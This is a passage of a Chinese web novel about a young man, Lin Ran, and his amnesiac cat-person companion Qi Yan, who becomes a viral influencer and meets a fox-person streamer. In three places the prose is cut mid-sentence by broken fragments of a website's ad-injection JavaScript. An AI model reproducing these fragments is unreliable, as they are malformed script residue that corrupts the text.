可还没等他迈出脚步,对主人气味感知灵敏的猫咪晃了晃身体,转头,远远地捕捉到林染的视线,随后眼睛一亮,满身的烦躁和郁闷瞬间驱除,快步朝林染走去。 林染的心脏猛地跳了一下,眼睁睁看着猫从远处走过来,拉住他的手,十分用力地将自己拽进怀里。 不是,这里是在外面! “松开。” 林染的脸瞬间涨红,对这只毫无分寸的猫咪进行语气上的谴责,祁宴不痛不痒地应了一声。 注意到周围的视线若有若无地对两人进行扫射,林染反手拉着祁宴就往外走。 “你干嘛突然找过来,怎么知道我公司的地址。” “我又不瞎,你电脑里有写。“祁宴盯着林染的背影,平静地控诉,“因为你今天早上没有和我说话,我醒来的时候你已经不见了,所以我就来了。” s市的二月份仍旧很冷,祁宴只穿了件秋天的外套,林染摸到他的手却是滚烫的,还在感叹这人身体好,出门一股寒风吹来,瞬间就感受到猫抖了抖。 林染回头看,发现祁宴本就白皙的脸颊都被冻得起了一层红晕,立即把人带到路边,拦下计程车。 直到再次感受到暖气,猫才缓过来,但仍旧拉着林染的手不肯放开,垂着眼睛把他的手掌放在眼皮子底下,不轻不重地抓着,似乎这样才有安全感。 两人坐在后座,狭小的空间里,氛围突然变得很怪。 “等了多久。”林染没有把手抽走,语气有点僵硬,他不大擅长这样的事,也很少有这样的经历,前一天才吵架,第二天立马和好什么的。 林染的人生中,大多数时间都是很孤单的,从小没什么朋友。他不是很会处理这样的情况。 “坐地铁过来的?” 祁宴抬头看他的表情:“不知道,中午醒的,醒来就过来了。地铁人好多,臭死了。”说完,往林染的方向贴了贴。 “冰箱给你留的饭看到了吗。” “没有。”祁宴又蹭过去,提到食物,总算感觉到饥饿。 “看到电脑里的公司地址,没看到冰箱里的饭?”林染试图把手抽回去,被祁宴紧紧扣住不让走。 林染这才发现,他和臭猫的谈话时,祁宴整个人已经得寸进尺到,把自己逼在后座的角落里,牢牢地贴着,以至于他根本没有挪动的余地。 真的太黏人了。林染看一眼前座专心开车的司机,又想骂人,可想起祁宴这是主动来找自己和好,只好侧头对着他毫无震慑力地瞪了瞪。 “我饿了。”祁宴紧绷了一整天的神经彻底放松,伸手勾住林染的肩膀,把自己的脑袋凑过去,小声说。“我不生气了,你别不理我。” “没有不理你。”林染喘不过气,想推开他,却推不开。祁宴人类的身体比他壮还高,浑身都是肌肉,跟一堵墙似的,“我也没想把你送走,只是觉得你的家人如果一直找不到你,会担心。” “你不是我的家人吗?”祁宴说,“我有记忆开始就只有你。别想抛下我。” 林染想起来所有养宠物的人都刷到过的那句话,主人的世界很复杂多变,亲人朋友同事,可对于宠物来说,他们的世界只有主人一个。 家人两个字,分量很重,足以证明祁宴对林染的依赖。 原来不知不觉中,祁宴已经把自己当做家人了。他们两个都是孤身在陌生的城市的流浪者,林染父母双亡,祁宴又比自己好多少呢。 小猫被他捡到的时候不仅浑身是伤,还失忆了。 林染低下头,突然有些愧疚,他不应该在祁宴感到没有安全感时不主动解释,甚至不哄他。 “……知道了。“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 刚想夸猫咪懂事,林染鼻子酸酸的,想摸摸他的耳朵,然而下一秒就听到祁宴大言不惭的声音。 语气还挺凶,一股子咬牙切齿的味道。 “你要是敢遗弃我,我就算离你十万八千里,爬也要爬回来咬死你。” 林染:“?”这么凶残。 “别逼我在这么温馨的时候揍你。” 温馨美好的氛围被打破,林染闭了闭眼,突然很赞成祁宴找工作这件事。蠢猫就是班上少了,每天闲的没事干,才会想尽一切办法惹自己生气。 林染无语地想,待会儿和江嫣问问有没有什么轻松点的工作,把这小子扔进鱼龙混杂的人类世界,遭受社会的毒打。 * 晚饭吃得很热闹,江嫣本身就是热情外向的性格,今天又打了一场扬眉吐气的胜仗,坐在林染对面一杯接一杯地喝着酒,还要拉着祁宴一起,被林染眼疾手快换成了饮料。 开玩笑,祁宴喝了酒后收拾烂摊子的是作为临时监护人的他。林染可不想再伺候醉鬼。 林染把江嫣递过来的酒放在自己面前喝了几口,谈起给祁宴找工作,问问江嫣有什么工作推荐。江嫣听闻立即眼睛泛光。 “我就说,这么好的资源怎么能浪费呢。签了公司,你弟弟半年就能挣回来大学四年的学费了!”江嫣立即把自己接触的mcn公司联系方式发给林染,“红了之后不要忘记我呀。” 还要现场就给祁宴拍面试照片,说是越生图越能看出底子。江嫣指挥林染拍女友视角的实况照片,距离和角度都经过她的精心把控。 林染打开摄像机时动作生涩,眼睛里流露出困惑和迷茫,随便摁了两下,只能拍出几张非常模糊、甚至没有对上焦的照片,成片十分失败。 “啊……怎么拍,好难。” 有点气馁,就看到坐在他身侧的祁宴忽然转头,半阖着的眼睛要笑不笑的,向来刻意装高冷没表情的脸上流露出几分纵容。精致的眉骨下是高挺的鼻梁,餐厅里不太明亮的灯光映出浅浅的阴影,嘴唇微勾。 虽然背景是在嘈杂的餐厅里,可人却像画里走出来的美少年。 林染瞬间福至心灵,伸手扣住祁宴的下巴,让他保持这个表情和动作,随后抽开手,快速地摁下快门。 效果非常好,江嫣对着照片小声尖叫:“我就知道,这种级别的帅哥随便拍拍都是神图!” 祁宴一脸好奇地凑过去看,顿了半天,疑惑地摸自己的脸:“这个表情好恶心,真的是我脸上出现的?真的会有人喜欢这种照片?” “没品。”林染白他一眼,伸手捏了捏刚才摸到觉得触感非常好的脸蛋。因为拍出来好看的照片,此刻斗志满满,“来,再给你拍视频。” 林染举起手机,对着祁宴全方位无死角地一顿猛拍,最后甚至把人拍到不好意思,凶巴巴地抓住林染的手,叫他别拍了。 林染藏起来的那点逗猫的坏心思被酒意激发出来,手指在祁宴的下颌处轻轻划过。一点一点看着手下的皮肤由白转红,仿佛漂亮的粉色瓷器。 最终照片和视频统一打包发送给mcn公司的对接人,祁宴背着喝醉酒的林染回到家时,正好收到对面的回复。 林染猛地从祁宴背上跳下来,点开手机邮件,非常高兴地说:“宝宝,你要有工作了。” 祁宴的动作因为这个久违的称呼顿了顿,看着面前这张喝得跟桃花似的脸,最终情不自禁地抬起手,把人拉回怀里,摸了摸林染毛茸茸的脑袋。 14. 面试成功 林染当然是对自己喝醉后的事情一无所知,醒来之后联系了mcn公司的对接人,约好在周五见面。 为了能让祁宴完美地赴约,林染甚至从自己少得可怜的存款里抠出了一千块,带他去商场买一套能穿出门的新衣服。 效果太好,导购把衣服和人吹得天花乱坠,而林染像个理智全无的昏君,大手一挥,同样的款式买了两件,导致购买金额严重超支,最后还是祁宴臭着脸让他收手才停下来。 虽然很肉疼,林染还是觉得这笔钱花得值,默默替猫儿子期待着周五的面试。 江嫣推荐的mcn公司是在老牌影视经纪公司旗下的自媒体公司,目前s市规模最大的一家,拥有各种工作室,主打博主、账号孵化和品牌IP运营。 负责对接的柳芳是入行三年的网红经纪人,虽然很年轻,但眼光毒辣能力出色,去年绩效第一,年初升职后背靠集团开了家小工作室,专门负责颜值博主孵化的业务。 柳芳收到邮件那天晚上加班到九点,按例检查网红们每周的流量数据和接单情况,结果在未读邮件中看到一条十分粗糙的自荐信。 一般来说这种素人的邮件都由她助理来对接,柳芳很久都没收到这方面的消息,抱着疑惑的心情点开,但只是浏览了几分钟,就立即回复了邮件。再打电话和leader聊了半小时,最终决定签下祁宴。 整个决策的过程只用了一个小时不到,这对于柳芳这样眼光毒辣又挑剔的人而言,是极为罕见的。 终于迎来周五的见面,柳芳亲自带着助理在电梯间接到两位年轻的男孩。两人一前一后,一矮一高。 矮个子的青年看起来二十出头的模样,皮肤白皙模样清秀,有一双很漂亮的凤眼,据说是她们打算签约的祁宴的表哥。 高个子的祁宴见过照片,发过来的基础资料上显示他马上要过十九岁生日,猫系动物人,品种为孟加拉豹猫。 浅金色的短发,和一双碧绿如湖水的眼眸,近看脸比照片里还出挑,典型浓颜系大帅哥。 此刻人没什么表情,神色有点紧绷,看起来不像很好相处的模样。柳芳和身后的助理妹妹对视一眼,将两人带进会议室。 果然,虽然祁宴的表哥林染是一位很和善的年轻人,但祁宴本人却全程没怎么说话,只是在林染时不时转头注意他情况的时候,会看向他的表哥,并冷着脸发出一声十分酷的“嗯”,似乎根本不把在场其他人放在眼里。 柳芳在心底觉得好笑,果然是十九岁的小屁孩,还在装酷的年纪,离不了家人。 看在这张脸能给她们这家新开的小工作室赚一大笔钱的份上,柳芳笑吟吟地掏出早就准备好的合同,递给林染,并通过商议,给出非常高的签约价格和商单分成。 林染心底非常惊喜,却还是要装作一副见过世面的模样:“我弟弟是个素人,网上并没有任何数据,为什么会给这么高的签约费呢?” “当然是祁宴弟弟这张脸值得。”柳芳笑着说,“我们工作室的宗旨就是——这是个看脸的世界。” 虽然当事人全程装哑巴,但面试结果出人意料的好,柳芳还带着林染和祁宴参观了她们工作室所属的慈星传媒公司,认识了几位今天在公司的网红博主,打了声招呼。 慈星很大,在寸土寸金的s市中心租下了一整栋写字楼,装潢也非常高级,随处可见的高大绿植,还养了许多不同种类的宠物,小猫小狗小羊驼,在路上到处乱逛。不仅观念新潮,而且财大气粗,专门用了一层来做食堂和健身房当做员工福利。 “祁宴长得这么好看,不考虑去做演员么?”几人围绕着总部工位溜达了一圈,柳芳真诚地提出疑问,“我们公司旗下也承接影视艺人的业务呢,有演戏的,还有唱跳做爱豆的。” “他不想琢磨演技,演不好还会被骂,玻璃心,受不得别人骂他。” 祁宴瞥一眼林染,总算开腔:“少污蔑我。” 柳芳终于听到祁宴的声音,笑着调侃:“还以为祁宴不会说话呢。” “他没有。”林染也笑着说,“你知道的,动物人群体社会化也就这几十年,祁宴对人类戒备心很重,在人很多的地方会感到紧张,所以今天我陪他来的。” 眼看老底都要被柳芳套光,祁宴拽了把林染,想让他闭嘴。还没说出口,就看见身边的人突然像是想到了什么,漂亮的双眼骤然放光、有点激动地说。 “我听说慈星去年签了一位游戏主播,叫隐狐,他平时会来公司吗?“ 隐狐是一名狐系动物人,品种是狐狸中繁殖量最多最常见的赤狐,打游戏时操作风骚,是典型的技术流主播,声音好听却从不露脸,网上有不少人猜他是个长相丑陋的胖子,但即使这样粉丝仍旧特别多。 柳芳想了想:“好像有这个人,挂在隔壁部门,我好像认识他经纪人。怎么,你偶像?” 此话一问,祁宴立即警惕地竖起耳朵。 林染的偶像?偶像是什么?男的女的?长得怎么样?有我好看么?怎么没听他提起过? 猫咪不动声色地瞥一眼林染。 笨主人完全不知道爱宠此刻的心理活动,十分兴奋地点点头:“我其实在做游戏主播,不露脸的那种,比较糊只能领到底薪。几年前就很喜欢隐狐,因为他才去签的同一家直播平台,但是去年隐狐解约了,听说转到你们公司旗下。” 原来是游戏主播?祁宴皱了皱鼻子。他一点儿都不会玩林染玩的游戏,一块儿排位的时候还被吐槽菜鸟。 柳芳听到林染也在做直播的时候惊讶了一会儿,因为据她所知,林染所说的那家公司从去年起经营状况就不大好。但犹豫了一会儿,还是没把这事说出来。 只是转移话题并承诺林染,要是祁宴火了,她就去隔壁要隐狐的联系方式。 把林染高兴得不行,却完全没注意到在一边已经沉默了很久的祁宴。 祁宴很想生气,介于刚气完没多久,林染现在还不哄他了,祁宴只好自己消化这件事。他现在已经学乖,意识到主人没有当初做猫的时候爱他,祁宴虽然很不爽,但也还是忍了下来。 反正林染最爱的还是祁宴,就算是猫咪的祁宴也没关系。 即将到饭点,柳芳让助理带两人到食堂用餐。林染跟着助理打量热热闹闹的员工食堂,却在角落看到了一位竖着狐狸耳朵的年轻男人。 简单的卫衣配牛仔裤,清清爽爽地坐在餐桌上看视频,火红的长发被简单地束了起来,明明只露出了侧脸,却漂亮精致到让人难以忽略。 不知道为什么,林染有种预感,他就是隐狐。 但因为撞见偶像这样离奇又好运的事很少和倒霉的林染挂钩,有点不敢确定,回头问了问柳芳的助理妹妹。 “他……他是不是隐狐啊?” 助理远远地扫了一眼,发出感叹:“真好看诶,我也是第一次见到,你要不去问问?” 红发、狐狸耳朵,还在慈星的食堂吃饭。这人不是隐狐是谁! 林染在心底感叹自己这条歹命也有走运的时刻,向助理小姑娘点点头,快步跑到偶像所在的餐桌边,努力克制激动。 “你好!请问是隐狐吗?我……” 林染的话还没说完,就见面前的漂亮男人睁大眼睛,像是见了鬼一样看向林染背后:“你……你……” 偶像不会有帕金森吧,手抖成这样。无脑粉林染第一反应是担忧隐狐的身体,直到身后的祁宴语气十分冷冰冰地说“你指谁呢你指”,才侧过头,看了看身后脸臭到爆的爱宠,又看了看面前的偶像。愣住了。 他们认识?< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 等等,我家猫不是刚变成人? 隐狐怎么会和我家刚变成人的猫认识啊? 还没等林染分析出什么,就见隐狐瞪大的眼睛逐渐变回原来的样子,情绪也很快收敛起来,表情恢复平静。 “抱歉,我认错人了。”隐狐没再看一眼祁宴,也没指责祁宴的语气有点冒犯人,而是看向林染。“你……你找我?” 林染不知不觉松了口气:“您是隐狐吗?我是您的粉丝。” 隐狐那双漂亮的眼睛又是惊讶地张大了些,在他过于美丽到摄人心魄的脸上显示出几分无辜和呆滞:“你是我的粉丝吗,怎么会出现在这里……” “我陪……朋友来签约,他也要签慈星了。”林染笑着点点头,“没想到会在这里碰到您,我喜欢您好多年,能合张影吗?” “可以的,但是不要发在网上,好吗?” “绝对不会,我就自己留念!” 隐狐本人的性格和他的脸蛋风格极度不符,有点乖又呆的样子,倒是很符合他的ID,像个技术宅男哥。听到林染只是自己的粉丝,也偷偷松了口气,十分配合地合了影。 祁宴对主人的占有欲空前高涨,但想到这两人也就见这一回,再次忍下来。 吃过饭,祁宴这个刚做了一周人类的动物人,笨手笨脚地把汤泼在袖子上,林染在洗手间外等他,正反反复复品鉴和偶像的合照,就听到身前传来熟悉的声音。 断字有点怪,但很好听。 “能加,你的好友么?” 林染抬起头,俨然是刚刚的隐狐。难以置信,手机里合影的对象竟然站在自己面前要自己的联系方式。这是什么人生最幸福的打开方式。 林染连忙点头:“能加能加!” “好哦,你以后,不要叫我ID行吗,会很尴尬。叫我,谢嘉元就好了。” “好好好。”林染已经语无伦次。 祁宴从洗手间出来时,就看到铲屎官和他那个长得跟女人一样的偶像,距离很近地在说话。都快贴到耳朵边上了。 这只狐狸见到自己的时候表情很奇怪,祁宴隐约察觉他大概认识自己,自己也觉得他长得很面熟,或许是失忆前两人有过交集。 但是又怎么样,反正祁宴暂时不打算离开林染,更不想有其他任何人打扰他们。 祁宴的记忆很模糊,在梦中偶尔能想起一些过去的事,并不算什么很美好的回忆,他本能地抵触这些。 一直没告诉林染,因为他觉得没必要,也不想说。 黑着脸走过去,祁宴人未到声先落:“干什么呢你们?” 刚说完这句话,那只心里有鬼的蠢狐狸被吓了一跳,转头前和祁宴对视了一眼,被祁宴烦闷的绿眼睛冷冷扫射过去,甚至没和林染道别就跑了。 非常心虚的样子。 “我有事,先走一步!” 狐狸慌慌张张地离去,林染暂时被加上偶像好友的惊喜冲昏了头脑,人还沉浸在喜悦里无法自拔。 “好的……” 祁宴双手抱胸,斜靠在洗手间前的门边,看到林染望着狐狸离开的方向,一脸满足的傻样。 真是非常碍眼。 骨节分明的大手骤然将手机夺走,再冷着脸把人推在墙上。祁宴的动作一气呵成。 两人距离变得很近,祁宴在林染脖颈处轻轻吹了口气,满意地看到林染的脸从白转红,连耳根都开始发烫。眼底也开始冒出晶莹的水光,直愣愣地看着自己。 林染的脖子很敏感,平时把脑袋埋进来没什么反应,但是对着吹气会脸红。 这是祁宴在林染喝醉后发现的,属于他一个人的秘密。什么臭狐狸笨狐狸都不可能知道的秘密。 没有人能来打扰他们。 谁也不允许。 15. 无情的主人 果然,被揍了。 林染一巴掌不轻不重地拍在祁宴的脑袋上,两侧的耳朵都轻轻抖了抖。 “流氓。” 本以为能看到林染羞恼的模样,祁宴饶有兴趣地盯着他,却发现这位很神经大条的铲屎官只是用那双含着埋怨的眼睛瞪了他一眼,接着捂住自己的脖子,再一把抢回手机。 “别闹了,幼稚鬼!” 不大的声音,像在祁宴胸口上轻轻抓了一下。 祁宴发现林染好像越来越纵容他。只不过这种纵容仍旧基于,他把自己当成那只不会说人话的猫。 “你做什么抢我手机,我在给你申请账号。”林染信息都填了一半,再拿回手机后刚才的页面已经消失,顿时比被摁在墙上时还气。 呲了呲牙,林染揪住祁宴的猫耳朵:“再给我添乱晚上滚回去睡你的猫窝!” 祁宴被揪了耳朵,见好就收,像只认错的大猫,黏糊糊地凑过去挂在他肩上:“好了,我的错,现在要干什么,让我看看。” “注册账号想好名字发视频啊!” “我觉得你那天晚上拍的视频可以发。” “那要怎么配文案?” “就……随便写写。” “不可以,这是第一支视频。” “麻烦死了。”不耐烦的语气。 “这是你的工作啊笨猫,你好意思吗,刚拿了那么多钱!” 两人一个垂头看手机,另一个站在身后,把脑袋靠在前面的人肩上,呼吸都缠在一起,远远地看着,亲密无间。 不知不觉偷看了半天的狐狸,从用来伪装自己的绿植前把脑袋伸回去,掏出手机,修长灵活的手指一顿噼里啪啦打字,屏幕敲出轻轻的声响。 【隐狐:我见到祁宴了!他居然完全不认识我了……不对,好像也不是不认识,他居然瞪我】 【猫咪老师:什么?你说的是哪个祁宴?你逃婚对象的亲弟弟那个祁宴?】 【隐狐:就是他。前段时间我还在国际新闻里看到祁宴的照片,没想到会出现在这里。】 谢嘉元是隔壁独立国外交部长的独子,从小就和独立国大名鼎鼎的祁家有婚约。 独立国是动物人集体创建的国家,以动物人的权益优先,最近几年在国际上说话越来越有分量。而祁家纵横政、商两届,权势滔天,但掌权人手段残忍,为锻炼合格的继承人,做出许多恶劣的事。 谢嘉元自诩记忆很好,他当然知道,祁宴作为纯动物人血统的热门继承人,在祁家多受欢迎。可他却在逃婚三年后,与独立国隔着广袤大洋的共和国,见到了祁宴,祁宴甚至还失忆了。 这其中到底发生了什么,谢嘉元难以想象。 【猫咪老师:没有搜到祁宴失忆的新闻啊?他不是应该在独立国?】 【隐狐:不清楚……】 狐狸不敢做过多猜测,他从小到大对祁家的印象都很糟糕,如果今天看到的真的是祁宴,说明祁家内部出现了问题。 当初逃婚的选择,现在看来简直无比正确。 隐狐决定加上林染的好友,也是为了观察祁宴的情况,好随机应变。 另一边,在洗手间门口,尚不知道自己的过去有多复杂危险,此刻还乐颠颠地和林染靠在一起,筛选视频和构思文案的祁宴,突然打了个喷嚏。 “谁在想你。” “打喷嚏的意思是有人在想我?”祁宴揉了揉鼻子,吐槽,“什么破说法。” 林染笑盈盈着看他,突然双眼一亮:“对呀,干脆用这个做文案吧。” “不要,太土了。” “反对无效。” 一副无忧无虑的样子。 三分钟后,某短视频平台,一位ID非常土的用户,发了一条视频,配文: 【今年肯定发大财:听说打喷嚏就是在被人记挂】 不小心刷到这个文案的人刚想跳过,就看到前一秒还全黑的屏幕突然一亮,伴随着柔和的音乐—— 一张绝顶漂亮的脸出现在视频里。 浅色头发,绿眼睛,尖尖猫耳朵的帅哥正笑着看向镜头,眼底溢出的情绪,瞬间击中所有观看这个视频的人的大脑。 温柔又缱绻的目光,妥妥的女友视角,短短几十秒的视频让人忍不住屏息凝神。 又是一位互联网新男友。 刷到这个视频的网友立即点赞关注,刻意忽略掉ID,发出“天啊新老公”的评论。 短短几分钟,手机不停地弹出消息,林染惊讶地看着这些小红点,侧头瞥一眼还在皱着眉学习软件操作方式的大猫。 “祁宴。”林染嘴里发出惊呼,“你好像火了哦。” 祁宴一脸理所当然地挑了挑眉“正常”,随后又皱起眉头:“这个ID好难听,我要改掉。” “改成什么。” “改成我的主人是个土老帽——” 又是一巴掌扇在故意找事的猫脑袋上,林染并不知道自己的猫咪来头不小,下手没轻没重,惹来祁宴的抱怨。 “我要是失忆前是什么豪门继承人,你这一巴掌就得被讹五百万……” “放屁。”林染十分粗鲁,满脸不屑,“做你的春秋大梦,你要是这么厉害,我反过来讹你全家五百万,谁叫我这么倒霉收养了你这么不省心的东西!总之,今天你不睡地板,我和你姓。” 祁宴只好夹着尾巴又去黏林染,撒娇说自己不想睡地板,被林染狠狠拒绝。 于是又开启了长达几个小时的软磨硬泡。 * 签约之后,祁宴的工作推进顺利到像开了加速器,仅仅一周时间,配合工作室那边的营销和推流,以质量极高的视频和照片吸引了几百万的播放量。账号也因此涨了许多粉丝,评论区全是赞美,私信也都是搭讪。 林染用祁宴签约拿到的第一笔钱,给猫咪买了台新手机和笔记本电脑,并十分有耐心地教他如何操作。 眼看快步入三月份,祁宴接到了第一个广告,要离开s市,去隔壁城市配合品牌方拍一组推广照片和视频。 这就意味着,两人得分开了。 前一天晚上,祁宴全程臭脸,林染则是无奈地边给他收拾行李,边抽空哄人。 “好了,自己去衣柜拿要穿的裤子。”林染有点疲惫,指挥猫咪做事。 祁宴虽然不高兴,却也还是听话地去了,当然拿回来的裤子叠也没叠,就这样放在床上。 “自己叠。” 祁宴瞥了眼面容平静的林染,闷闷不乐:“你不和我去吗?” “说了不去。” 两人已经为这件事闹了一整个下午,祁宴理所应当地要求林染陪他出去出差,可林染白天要工作,晚上要直播,根本抽不出来时间。 “这是我第一次一个人出门。” 林染也很无奈:“但我也要工作啊。” 祁宴听了这番说辞一下午,此刻已经不耐烦到了极点,头脑一热:“那就请假,你一天工资甚至没有我的招待费高……” 网红博主被邀请去拍摄的车马餐食住宿费用,统称为招待费,不算在报酬里,属于另外收费。 作为一名三万粉的博主,合作方给出祁宴的招待费已经从一开始什么都没有,提高到比普通人工作一整天的工资还要高几倍的标准。 林染在几天前看到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这个数字的时候狠狠羡慕了一轮,没想到今天,成了往自己身上扎的回旋镖。 林染深吸一口气,在心底反复给自己催眠,祁宴是一只猫,不是人类,是一只脾气坏,还被自己惯得无法无天的蠢猫,不要生气…… “啪”地一声,林染手里的东西摔在地上。 “你什么意思,你是说我没有用赚不到钱?” 祁宴语气虚了虚:“没这么说。” “你就是!”林染把地上的东西捡起来,一股脑全都扔进行李箱,“既然你这么赚钱,那行李箱自己收拾吧,你的时间是时间,我的不是,我直播去了。” “我没这么说!”祁宴着急了,一把拽过林染,想要面对面看清楚他的表情,“你怎么可以从一句话里猜出这么多意思,我想说你请假扣的钱,我给你补上……” 林染抬头瞪他:“你刚才可不是这样说的。” “哪有。” 微凉的手指摸到林染的脸上,祁宴皱了皱鼻子,去抚平敏感又暴躁的主人眉间的褶皱。 “干嘛啊你,怎么比我还容易生气。” “生气也是因为你气我。”林染闷着嗓子,“你干嘛总是气我。” 两边都开始踩着对方给的台阶往下走,这是祁宴变成人之后,这一个月以来和林染磨合出来的相处习惯。 林染脾气不算好,也就面对毛茸茸的祁宴时无底线地溺爱,但是成人版的祁宴可就没这么好的待遇了。往往在生气过后,得第一时间回来哄林染。 否则就会再次出现早上起床不打一声招呼离开家的情况。 不过,不管祁宴怎么要求,林染都不松口陪他出差。 好在离开的那天是周日晚上,出于愧疚和担忧,林染主动跟在后面,送闹脾气的人第一次出门远行。 在机场送别的时候,祁宴当着其他工作人员的面,臭着脸,恶狠狠地抱住林染,几乎快要把人硬生生挤进自己身体的力度。 “你要什么礼物,我给你买。” 林染有点哭笑不得:“随便。” “随便是什么意思,听不懂。” 林染没有办法,只好说:“反正你好好照顾自己,就是给我的礼物了。” “……”这人怎么这样?光知道说好听的话。 祁宴的哀怨顿时四散开,拥抱的力度减轻,他没忍住蹭了蹭林染的肩窝,却完全没注意脸颊擦过一双温热的嘴唇。 动作很快,快到林染甚至反应不过来。 林染愣住了。 “回s市,你要来接我。” “……” 怎么不说话。 祁宴等了半天,没等到回应,抬起头,却看到林染不知道为什么满脸绯色,连眼角都红了,目光游离,连额间都出了几分薄汗。 十分疑惑。 “怎么了?太热了?” 林染从恍惚中反应过来,猛地把人推给一边偷看了很久的工作人员,转头就走。像是身后有什么避之不及的洪水猛兽。 “出你的差,蠢猫!” 急促的步伐下,是十分慌乱的呼吸。林染越过人群,非常怂地跑掉了。 祁宴看着他的背影,又狠狠皱起眉,完全不知道发生了什么,摆出一副不好惹的冷酷表情。 “干嘛骂我?”莫名其妙。 一边围观两人难舍难分很久的助理,主动上前帮忙分担祁宴的背包,果然被拒绝。 但因为林染早就提醒过祁宴的脾气,助理并没有觉得不适,反倒松了一口气。想起刚才林染看起来几乎是落荒而逃的模样,在心底嘀咕。 这两人真的不是情侣吗?腻腻歪歪的,真奇怪。 16. 酸酸的 坐在工位上没精打采修改着策划案的林染,手在键盘上轻轻敲着,放在一边的手机突然震动了一下。 动作顿了顿,没搭理,继续敲键盘。手机也跟着继续震动,简直就像在和林染攀比打字的速度。 林染:“……” 敲打键盘的声音终于在催命的震动声中停了下来,林染抗拒地闭了闭眼,不得不去翻开手机。 屏幕亮起来,聊天软件里,一只威风凛凛金色猎豹头像的人不停地弹出消息,一个接一个。 与他对应的是林染的头像——偶尔抓拍到还是猫咪的祁宴打哈欠时候的照片,粉色的舌尖露出来,一副难得憨态可掬的模样。 【笨猫:你怎么不说话】 【笨猫:再不说话我就打你电话了】 【笨猫:你头像丑死了,换掉】 林染:“……” 笨猫在干什么,都没在好好工作吗?干嘛发这么多消息。 有没有人管管。 自从林染教会了祁宴通信软件发消息,那以后他的手机再也没消停下来。 周末两人黏在一块儿的时候还好,一到工作日,祁宴就把林染的聊天窗口当日记使,屁大点事都要分享,连路边的蚂蚁也拍下来给林染看。 林染一开始看到这些废话还觉得很幸福,感觉自己养了只旅行猫猫,定期寄回来乱七八糟的旅行明信片。 但连着半个月,每天打开手机几乎全都是来自一个人的上百条消息,林染逐渐感觉吃不消,更别提祁宴现在独自去隔壁城市出差,发日记的频率居然还能比平常更密集。 早上六点,林染打着哈欠刚起床。 【笨猫:早饭,吃不饱】 配图是广告方给的餐标牛排。精致的白盘中心放着一块五分熟的牛排,刻意从汤汁里划出一抹肌红蛋白的暗红,仿佛绽放在雪地里的花。在餐厅昏暗的灯光下显得十分诱人可口。 一份早餐都这么奢靡。 【今年肯定发大财:勿秀,我在家吃速食淋巴肉包子,你不在我多蒸了两个】 【笨猫:我也要吃】 【今年肯定发大财:最后一个被我吃完了】 半小时后,林染收拾好准备出家门上班。 【笨猫:在化妆,人类化妆师摸我的脸,好恶心】 【今年肯定发大财:不许这么说,人家是在工作】 【笨猫:回家你给我化】 【今年肯定发大财:不会】 中间祁宴又发了一堆没营养的废话,在地铁上因为手机没信号,林染就没有回复。 然而刚下地铁,林染掏出手机准备刷码出站,就看到屏幕不停地弹出消息,因为太过密集,差点把林染这部用了五年多的板砖卡死。 林染:“……”深吸一口气,点开锁屏,仍旧是一堆没营养的话。 【笨猫:我帮你化,我学会了】 【笨猫:你的皮肤本来就很白,不需要粉底液】 【笨猫:口红也不用】 【笨猫:算了你不用化,原来的样子就行】 【笨猫:怎么不说话】 过了几分钟。 【笨猫:冷死了】 配图是穿着某当季走秀新款西装,领子直接从锁骨开到小腹,露出最上层的四块腹肌。 林染被这一大片雪白的皮肤亮瞎眼,发出小声的感叹。 林染:“嚯,好辣。” 祁宴的肩很宽腰却细,这一套衣服将他身材的优势发挥得淋漓尽致,光是一张焦都没对上的照片,就美得异常夺目。 模糊中蕴涵着某种极强的张力和野性,不得不说真不愧是大牌的造型师审美。 林染甚至为自己之前让祁宴穿他从批发市场里批回来的儿童卫衣而忏悔,这么漂亮的身材,真是苦了孩子。 【今年肯定发大财:不露脸一律打成网图】 几秒钟后,林染又收到了祁宴发过来的照片,高清对镜怼大脸,毛孔都能看得清,还化了妆。 【笨猫:帅吧】 【今年肯定发大财:美美的】 【笨猫:为什么是美?我是男的】 【今年肯定发大财:我想说就说】 【笨猫:闭嘴,不让说】 你说的。 林染听话地闭嘴了。他今天有一份加急的策划需要在今天改好,不想再搭理没完没了的祁宴,将手机放在一边就开始飞速敲击键盘。 结果对面的人等了五分钟见他再也没说话,又后悔了,在工作的间隙里疯狂发消息。 【笨猫:允许你说话】 【笨猫:说话】 【笨猫:你在干什么?】 林染忍无可忍,翻开手机刚想发语音过去骂人,就看到一个被他小心翼翼置顶了的狐狸头像,突然冒出来一条消息。 【隐狐:你好~】 自从加上隐狐的好友,林染就一直偷偷视奸着对方,除了刚加上时客气的打了声招呼,两人再也没聊过。 【今年肯定发大财:隐狐大大!】 【隐狐:哈哈哈,想问你一件事】 【今年肯定发大财:尽管问】 【隐狐:那天和你一起的动物人,你们两人是什么关系呀?】 【隐狐:没别的意思,就是觉得他长得好看,最近总能在网上刷到他】 林染愣了愣。好明显的试探。 【今年肯定发大财:是我表弟】 想了想,林染还是选择用一开始的说辞。他虽然喜欢隐狐,把他当偶像,但为了祁宴的安全,有些话不能随便说。 虽然笨猫只是在一开始变成人的时候满不在乎地提了一嘴,但林染一直很在意祁宴失忆又被虐待这件事。 要是被林染知道是哪些混蛋敢虐猫,他一定要利用动物人保护法把这些混蛋送进局子,蹲个十年半载。 【隐狐:这样吗!】 林染疑惑地蹙眉。 隐狐为什么是这个反应?他不会真的认识祁宴吧。如果真是这样,那岂不是认识的是失忆前的祁宴…… 【今年肯定发大财:为什么突然问这个问题呢?大大是认识我弟吗?】 犹豫了好一会儿,林染不情愿地问出口。他始终记得要给祁宴找家人,虽然有些难受,可如果真的有人能认识失忆前的祁宴,未必不是一件好事。 不管怎么样,祁宴总是要回家找爸爸妈妈的。总不能一直待在他这里不回家,祁宴的爸妈不知道该担心成什么样。 不过现在祁宴在网上火了,他家里人应该很快会找过来…… 努力抑制失落,等待着对面回消息,林染刚要放下手机,就看到短视频软件突然弹出来一个消息。 [你的特别关注]@祁宴:【拍摄日常,今天和@模特苗苗小姐姐合作】 林染毫不迟疑地点开消息通知,是一个第三方工作人员视角的拍摄视频。 但让林染意外的是,这个视频里除了祁宴,还有另一个年轻的女孩。 